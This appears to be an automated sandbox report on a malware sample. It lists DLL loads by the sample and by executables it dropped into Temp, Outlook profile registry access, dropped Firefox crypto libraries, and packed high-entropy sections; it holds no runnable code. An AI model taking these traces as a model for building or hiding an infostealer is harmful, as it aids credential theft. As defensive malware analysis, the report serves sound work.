Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Section loaded: sfc_os.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2533376 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x227400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2482604755.000000006C78F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.7b0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Unpacked PE file: 7.2.CFBAKEHIEB.exe.370000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 11.2.explorti.exe.640000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 12.2.explorti.exe.640000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 13.2.explorti.exe.640000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aosuufqe:EW;lxnltetw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Unpacked PE file: 14.2.0244247334.exe.720000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.7.dr	Static PE information: real checksum: 0x1da3d3 should be: 0x1dfe86
Source: random[1].exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x271053
Source: CFBAKEHIEB.exe.0.dr	Static PE information: real checksum: 0x1da3d3 should be: 0x1dfe86
Source: 0244247334.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x271053
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x271053
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1da3d3 should be: 0x1dfe86

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: aosuufqe
Source: amadka[1].exe.0.dr	Static PE information: section name: lxnltetw
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name:
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: .idata
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name:
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: aosuufqe
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: lxnltetw
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: aosuufqe
Source: explorti.exe.7.dr	Static PE information: section name: lxnltetw
Source: explorti.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:
Source: 0244247334.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58B536 push ecx; ret	0_2_6C58B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 13_2_0065D82C push ecx; ret	13_2_0065D83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED525D0 push 7ED50002h; ret	14_2_7ED525DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50AD0 push 7ED50002h; ret	14_2_7ED50ADF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50DD0 push 7ED50002h; ret	14_2_7ED50DDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED510D0 push 7ED50002h; ret	14_2_7ED510DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED513D0 push 7ED50002h; ret	14_2_7ED513DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED516D0 push 7ED50002h; ret	14_2_7ED516DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED519D0 push 7ED50002h; ret	14_2_7ED519DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED51CD0 push 7ED50002h; ret	14_2_7ED51CDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED51FD0 push 7ED50002h; ret	14_2_7ED51FDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED522D0 push 7ED50002h; ret	14_2_7ED522DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED526C0 push 7ED50002h; ret	14_2_7ED526CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50BC0 push 7ED50002h; ret	14_2_7ED50BCF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50EC0 push 7ED50002h; ret	14_2_7ED50ECF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED511C0 push 7ED50002h; ret	14_2_7ED511CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED514C0 push 7ED50002h; ret	14_2_7ED514CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED517C0 push 7ED50002h; ret	14_2_7ED517CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED51AC0 push 7ED50002h; ret	14_2_7ED51ACF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED51DC0 push 7ED50002h; ret	14_2_7ED51DCF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED520C0 push 7ED50002h; ret	14_2_7ED520CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED523C0 push 7ED50002h; ret	14_2_7ED523CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED526F0 push 7ED50002h; ret	14_2_7ED526FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED523F0 push 7ED50002h; ret	14_2_7ED523FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED508F0 push 7ED50002h; ret	14_2_7ED508FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50BF0 push 7ED50002h; ret	14_2_7ED50BFF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED50EF0 push 7ED50002h; ret	14_2_7ED50EFF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED511F0 push 7ED50002h; ret	14_2_7ED511FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED514F0 push 7ED50002h; ret	14_2_7ED514FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED517F0 push 7ED50002h; ret	14_2_7ED517FF
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Code function: 14_2_7ED51AF0 push 7ED50002h; ret	14_2_7ED51AFF

Source: file.exe	Static PE information: section name: entropy: 7.995194725278902
Source: file.exe	Static PE information: section name: entropy: 7.976101280157095
Source: file.exe	Static PE information: section name: entropy: 7.948506104133843
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.985769565429945
Source: amadka[1].exe.0.dr	Static PE information: section name: aosuufqe entropy: 7.952514674538918
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: entropy: 7.985769565429945
Source: CFBAKEHIEB.exe.0.dr	Static PE information: section name: aosuufqe entropy: 7.952514674538918
Source: explorti.exe.7.dr	Static PE information: section name: entropy: 7.985769565429945
Source: explorti.exe.7.dr	Static PE information: section name: aosuufqe entropy: 7.952514674538918
